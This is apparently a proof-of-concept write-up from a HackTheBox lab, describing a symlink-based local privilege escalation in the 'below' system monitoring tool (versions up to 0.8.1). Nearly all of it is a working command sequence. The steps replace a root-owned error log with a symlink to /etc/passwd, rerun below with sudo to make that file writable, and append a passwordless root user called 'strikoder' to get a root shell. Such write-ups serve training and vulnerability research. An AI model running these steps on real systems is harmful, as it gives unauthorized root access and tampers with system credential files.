Affected Software: below monitoring tool
Vulnerable Versions: <= 0.8.1 (possibly < 0.9.0)
Vulnerability Type: Symlink-based privilege escalation
CVE: CVE-2025-27591-PoC
Source: HackTheBox - Outbound machine
This exploit leverages insecure file handling in the below system monitoring tool. When run with sudo privileges, below writes error logs to /var/log/below/ with elevated permissions. By replacing the error log file with a symlink to a privileged file (e.g., /etc/passwd), an attacker can manipulate the permissions of that file and gain root access.
sudo belowThis creates log files in /var/log/below/, including error logs owned by root.
Navigate to the logging directory and identify the error log filename:
cd /var/log/below
ls -laLook for a file named something like error_root.log.
Remove the original error log and replace it with a symlink pointing to /etc/passwd:
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.logRun below with sudo again to activate the symlink:
sudo belowWhen below attempts to write to the error log, it will follow the symlink and modify permissions on /etc/passwd, making it writable by your user.
Add a new root-privileged user without a password to /etc/passwd:
echo 'strikoder::0:0:root:/root:/bin/bash' >> /etc/passwdSwitch to the newly created root user:
su strikoderYou now have root shell access without needing a password.